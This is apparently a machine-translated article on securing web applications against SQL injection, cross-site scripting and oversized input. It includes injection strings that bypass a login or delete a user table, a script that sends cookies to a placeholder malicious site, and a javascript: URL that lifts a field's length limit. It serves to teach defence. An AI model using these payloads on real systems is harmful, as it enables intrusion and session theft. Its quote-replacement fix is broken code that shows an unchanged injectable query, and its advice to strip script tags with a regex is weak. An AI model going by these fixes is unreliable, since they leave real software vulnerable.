Balancing security and functional authoring for secure Web2.0 applications

web|web2| Security

Developers must weigh the relationship between security and functionality to see how likely an attack is to succeed and how important the system is.

Developers can use many basic principles to enhance the security of Web applications. The following three principles are mainly:

　　Minimize permissions

When configuring an account that accesses resources, always limit the permissions on those accounts to the minimum permissions that are required.

Never trust user input, verify any input

This is especially important for Web applications. Ensure that the application does not rely on client-side validation. All checks should be repeated on the server, because without constraints, it would be easier to build a copy of the Web page, potentially causing destructive code to run, or a denial of service (DoS) attack that caused the system to crash.

Use error messages sparingly

Although detailed error messages are helpful when developing programs, they are also valuable sources of information for malicious users. So the details of specifying the function name don't make much sense. Such details are better recorded in another log.

The following examples describe the specifics of how no authenticated user input can be exploited by bad people, and suggest recommendations to avoid these problems.

　　SQL injection

SQL injection (SQL injection) occurs if arbitrary SQL commands are allowed to execute. This is usually the case when the SQL statement is dynamically built inside the code.

Take the following code written in C #, which attempts to check that the user name/password combination is correct:

string username = txtUsername.Text;

string password = txtPassword.Text;

String SQL = "SELECT * FROM Tblusers

WHERE username = ' "+ Username +" '

and password = ' "+ password +" '; ";

Execute SQL

The username and password are obtained from the two text boxes on the server side, and the SQL statement is created, and then the statement executes. If no records are returned, the details of the user input are incorrect or are not registered; Otherwise the user can go to the next stage.

If the user entered Joe and MyPassword in two text boxes, the SQL statement would be:

SELECT * from Tblusers

WHERE username = ' Joe '

and password = ' mypassword ';

That's what the developers are trying to do. But if the user enters the password text box: ' OR ' a ' = ' a,sql will be:

SELECT * from Tblusers

WHERE username = ' Joe '

and password = '

or ' a ' = ' a ';

Now, the password is not important, because ' a ' = ' a ' is always correct. If the account used to connect to the database has the right to delete the data rather than just the right to read the data, there will be a worse scenario. Suppose the user enters the password text box: '; DELETE from Tblusers WHERE ' a ' = ' a '. This will result in the following statement:

SELECT * from Tblusers

WHERE username = ' Joe '

and password = ';

DELETE from Tblusers

WHERE ' a ' = ' a ';

The entire user table will now be emptied.

There are two main ways to prevent such problems. First, you can use stored procedures (stored procedure) to perform user verification steps. When you set parameter values, you avoid using special symbols such as single quotes, so you cannot add additional assertions (predicate) to the where statement or run multiple SQL statements. For example, you can build a stored procedure like the one below, and after accepting two input parameters, return the third parameter that indicates whether the user is a legitimate user:

CREATE PROCEDURE Spcheckuser

(

@Username VARCHAR (20),

@Password VARCHAR (20),

@IsValid BIT OUTPUT

)

As

DECLARE @UserCount INT

SELECT @UserCount = COUNT (*)

From Tblusers

WHERE Username = @Username

and Password = @Password

IF @UserCount = 1

SET @IsValid = 1

ELSE

SET @IsValid = 0

The initial code can now be changed to use a stored procedure:

SqlCommand SqlCommand =

New SqlCommand ("Spcheckuser");

SqlParameter Sqlparam =

New SqlParameter ("@Username",

SqlDbType.VarChar, 20)

Sqlparam.value = txtUsername.Text;

Sqlparam.direction =

ParameterDirection.Input;

SQLCOMMAND.PARAMETERS.ADD (Sqlparam);

Sqlparam =

New SqlParameter ("@Password",

SqlDbType.VarChar, 20)

Sqlparam.value = txtPassword.Text;

Sqlparam.direction =

ParameterDirection.Input;

SQLCOMMAND.PARAMETERS.ADD (Sqlparam);

Sqlparam =

New SqlParameter ("@IsValid",

Sqldbtype.bit, 1)

Sqlparam.direction =

ParameterDirection.Output;

SQLCOMMAND.PARAMETERS.ADD (Sqlparam);

Executes the command and retrieves the output parameter values

The input and output parameters are described using related types. The difference now is that the basic Ado.net class treats the string ' OR ' a ' = ' a ' as the actual user's password, not as an executable SQL.

The second way to avoid this security vulnerability (also applicable to all user input) is to ensure that special characters or strings are disabled. For SQL, the character that causes the problem is single quotes, so if you can't use stored procedures, turn all single quotes into double quotes, which prevents someone from building extra sql:

string username = txtUsername.Text;

string password = txtPassword.Text;

Username = Username. Replace ("'", "" ");

Password = password. Replace ("'", "" ");

String SQL = "SELECT *

From Tblusers

WHERE username = ' "+ Username +" '

and password = ' "+ password +" '; ";

Execute SQL

Now, the build SQL becomes:

SELECT *

From Tblusers

WHERE username = ' Joe '

and password = ' '

or ' a ' = ' a ';

This means that the user is not recognized.

　　Cross-site Scripting

Cross-site scripting (sometimes abbreviated as XSS) allows code from one place to run on another. As in most cases, this problem can be avoided as long as you validate what the user has entered. Take an example of a bulletin board that accepts posts in HTML format. Suppose the user added the following in the publication message:

Hello Everyone

If the script block is not validated and deleted, the message appears, and the standard warning message is displayed. Assuming this example is harmless, consider the next example:

var I = new Image ();

I.SRC =

"Http://www.maliciousSite.com/save.asp"

+ Escape (document.cookie);

The user's cookie is now routed to the malicious Web site and then recorded in the blog. This is not what was originally required, may reveal private information, or allow malicious people to log on to the bulletin board as a legitimate user. You can prevent this problem by using regular expressions to search for and purge elements such as < script> and its contents.

　　Data overflow

There are two reasons why too much data can cause problems. First, because applications tend to crash, for example, if a program tries to write 50 characters to a database table with a column size of only 40 characters, it can cause the program to crash. Obviously, good error trapping methods should prevent this problem, but if the user enters valid content and comes from a trusted user, this problem often does not occur. Too much data will lead to poor user experience, heavy will cause serious consumption of server resources, if the problem occurs frequently, can also cause the entire service can not be used. This is called a denial-of-service (DoS) attack if the input is specifically designed to cause errors and machine overload.

The second problem is buffer overflow. Sometimes, the data that is entered overflows the memory area that is designed to hold it, and becomes part of the executable code. As long as the data entered into the input box is carefully designed, an attacker can execute arbitrary code on the server.

To avoid this problem, do not rely on client-side technology, such as setting the maximum Length property of a text box. This can easily be skipped. Some browsers, including IE, allow JavaScript URLs. If the text box for a Web page has an ID labeled Txtsurname, the following code will change the maximum length property when it is copied to the browser's address bar:

Javascript:document.getElementById

("Txtsurname"). MaxLength = 1000

The way to prevent this problem is still to check on the server to see if the input exceeds the desired length; If necessary, reduce the input content. (Author unit Department of Henan Province Teachers Extension School)